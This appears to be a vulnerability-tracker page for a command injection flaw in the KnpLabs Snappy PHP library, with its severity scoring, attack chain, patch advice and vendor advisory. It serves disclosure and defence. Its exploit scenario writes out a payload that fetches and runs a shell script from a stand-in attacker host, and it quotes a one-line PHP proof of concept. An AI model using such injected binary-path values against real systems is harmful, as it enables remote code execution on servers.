Skip to main content

KnpLabs Snappy EUVDEUVD-2026-36111

| CVE-2026-46643 HIGH
OS Command Injection (CWE-78)
2026-05-21 https://github.com/KnpLabs/snappy GHSA-vpr4-p6fq-85jc
7.5
CVSS 4.0 · Vendor: https://github.com/KnpLabs/snappy
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Identify app using Snappy <= 1.7.1
  2. Delivery
    Find input flowing to binary path config
  3. Exploit
    Inject shell metacharacters into path value
  4. Execution
    Trigger PDF/image generation request
  5. Persist
    Snappy concatenates unescaped path into shell command
  6. Impact
    Arbitrary commands run as PHP process user

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the Snappy binary path argument (constructor parameter to Knp\Snappy\Pdf or Knp\Snappy\Image) to be attacker-influenced - specifically sourced from user-controlled configuration, environment variables populated from request data, or concatenated with any user-controlled fragment. Hard-coded literal binary paths in code are NOT exploitable for code execution (only a defense-in-depth weakness), because options/input/output arguments are escaped correctly and injection must land in the binary string itself. The library must be at version <= 1.7.0 running on POSIX (the inverted is_executable check is described in POSIX terms), and the PHP process must reach the Snappy generate path with the attacker-tainted binary value.

Impact

The CVSS 4.0 vector (AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H) rates this 7.5 with a local attack vector and Attack Requirements:Present, reflecting that exploitation depends on the binary path being attacker-controllable - not a default remote condition. There is no EPSS score, KEV listing, or SSVC decision provided, so real-world exploitation pressure cannot be quantified from the inputs; however, a fully working PoC is published in the vendor advisory, so weaponization is trivial where the precondition holds. The practical risk is concentrated in applications that build the Snappy binary path from configuration sourced from request data, environment variables populated by users, or any string concatenation involving user input - for those deployments this is effectively pre-auth RCE despite the AV:L rating, while hard-coded-path deployments face only a defense-in-depth regression. Note the dissonance between AV:L in CVSS 4.0 and the real-world remote impact when the path is web-influenced - defenders should not down-rank this solely on the local vector.

Exploit ScenarioDerived

An attacker submits input that flows into application configuration controlling the Snappy binary path - for example a tenant-configurable wkhtmltopdf path, an env-var-driven setting populated from a request, or a string concatenated with user data. They supply a payload like 'wkhtmltopdf; curl attacker.tld/sh | sh' as the path; when the application instantiates Knp\Snappy\Pdf and calls generate(), the unescaped binary string is passed to the shell and the appended command executes as the PHP process user. The vendor advisory publishes a one-line PoC, so exploitation requires no original research once the injection sink is found.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv3 – Jun 10, 2026

Command injection in KnpLabs Snappy PHP library (versions <= 1.7.0) allows attackers to execute arbitrary OS commands when the wkhtmltopdf/wkhtmltoimage binary path is attacker-influenced. An inverted is_executable() check around escapeshellarg() renders the safe branch dead code, causing the binary path to be concatenated unescaped into the shell command. Publicly available exploit code exists (vendor-published PoC in the advisory), but no public exploit identified at time of analysis in CISA KEV.

Earlier versions of this analysis (2)
v2 Jun 10, 2026 - 20:28 cvss changed CVSS 7.5

Command injection in KnpLabs Snappy PHP library (versions <= 1.7.0) allows attackers to execute arbitrary shell commands when the wkhtmltopdf/wkhtmltoimage binary path is influenced by untrusted input. An inverted is_executable() check renders the escapeshellarg() safe branch unreachable, so the binary string is concatenated raw into the shell command. Publicly available exploit code exists via the GitHub Security Advisory proof of concept.

v1 May 21, 2026 - 21:00

Command injection in KnpLabs Snappy PHP library (versions <= 1.7.0) allows attackers to execute arbitrary OS commands as the PHP process when the wkhtmltopdf/wkhtmltoimage binary path passed to the constructor is influenced by attacker-controlled input. An inverted is_executable() check renders the intended escapeshellarg() protection dead code, so the binary path string is concatenated raw into the shell command. A proof-of-concept is published in the GHSA advisory; no public exploit identified in the wild and the vulnerability is not in CISA KEV at time of analysis.

RemediationAI

Vendor-released patch: upgrade knplabs/knp-snappy to 1.7.1 or later via Composer (composer require knplabs/knp-snappy:^1.7.1), per the release notes at https://github.com/KnpLabs/snappy/releases/tag/v1.7.1 and the GHSA at https://github.com/KnpLabs/snappy/security/advisories/GHSA-vpr4-p6fq-85jc; note the v1.7.1 changelog warns that the fix also prevents passing arguments directly via the binary string (issue #550), so any code that relied on appending flags to the binary path must be refactored to use the proper option APIs. If immediate upgrade is not possible, the vendor-recommended workaround is to validate the binary path with \is_executable($pathToBinary) and throw before constructing Knp\Snappy\Pdf or Image, which closes the injection only when the path is not attacker-controlled - it does not help if an attacker can write a malicious file at a valid executable path. As a stronger compensating control, hard-code the binary path as a constant in code (not configuration, not env) and ensure no user input is ever concatenated into it; the trade-off is reduced deployment flexibility across environments with differing binary locations.

Affected VersionsENISA

snappy < 1.7.1

Affected Packages

composer knplabs/knp-snappy fix: 1.7.1
euvd snappy fix: 1.7.1

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in composer, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Snappy is a widely used PHP wrapper around the wkhtmltopdf and wkhtmltoimage binaries for generating PDFs and images from HTML. The root cause maps to CWE-78 (OS Command Injection): the library wraps the binary path with escapeshellarg() and then guards selection of the escaped value behind is_executable() - but on POSIX systems escapeshellarg('/usr/bin/wkhtmltopdf') returns the path wrapped in literal single quotes, so is_executable() is called against a path that includes those quote characters and always returns false. The safe branch is therefore unreachable, and the raw, unescaped binary string is interpolated into the shell command line. The affected package is identified as pkg:composer/knplabs_knp-snappy in CPE data.

Know when PHP gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/KnpLabs/snappy) PRIMARY 7.5 HIGH
CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 6.4 MEDIUM

Requires attacker influence over the Snappy binary path configuration (PR:H, AC:H for the non-default tainted-path precondition); local vector matches the library API surface; full C/I/A impact via code execution as the PHP process.

3.1 AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H

Primary rating from Vendor (https://github.com/KnpLabs/snappy).

CVSS VectorVendor: https://github.com/KnpLabs/snappy

Attack Vector
Local
Attack Complexity
Low
Attack Requirements
Present
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

3
Analysis Updated
Jun 10, 2026 - 20:28 vuln.today
v3 - CVSS changed
Analysis Updated
Jun 10, 2026 - 20:28 vuln.today
v2 - CVSS changed
CVSS changed
Jun 10, 2026 - 20:22 NVD
7.5 (HIGH)

DescriptionCVE.org

Impact

On POSIX, escapeshellarg(‘/usr/bin/wkhtmltopdf’) returns the literal string ‘/usr/bin/wkhtmltopdf’ with the single-quote characters included. is_executable() then looks for a file whose actual name contains those quote characters, which essentially never exists. The safe branch is dead code and $command always falls through to the raw, unescaped value.

The rest of the arguments (options, input, output) are escaped correctly, so injection has to land in the binary string itself. That happens whenever the binary path is sourced from configuration that is user-influenced, derived from environment variables that ultimately come from request data, or concatenated with any user-controlled fragment.

Proof of concept:
php
 $pdf = new Knp\Snappy\Pdf(‘wkhtmltopdf; touch /tmp/snappy_rce’);
 $pdf->generate(‘https://example.com’, ‘/tmp/out.pdf’);
 // /tmp/snappy_rce is created.

Impact: command execution as the PHP process when the binary path is attacker-influenced. Even in deployments where the binary is hard-coded, this is a defensive-in-depth regression: downstream packages reasonably assume Snappy shell-escapes the binary because the code looks like it does.

Patches

The version 1.7.1 will resolve this security advisory.

Workarounds

Before calling the constructor, ensure \is_executable($path) is truthy.

php
// Bad example
$pdf = new Knp\Snappy\Pdf('/path/to/binary');
php
// Better example
$pathToBinary = '/path/to/binary';

if (!\is_executable($pathToBinary)) {
  throw new \RuntimeException();
}

$pdf = new Knp\Snappy\Pdf('/path/to/binary');

Executive ViewAI

Why It Matters

KnpLabs Snappy PHP library (versions ≤1.7.0) contains a command injection vulnerability allowing arbitrary OS command execution on affected servers. Publicly available exploit code exists for this vulnerability. Organizations using Snappy for PDF or image generation face critical risk of complete server compromise and require immediate patching.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.0%
Top 93% exploitable
Threat Intel
1
1 sources
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Small
Automatable· derived
No
Human Impact
High

Priority Score

38
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy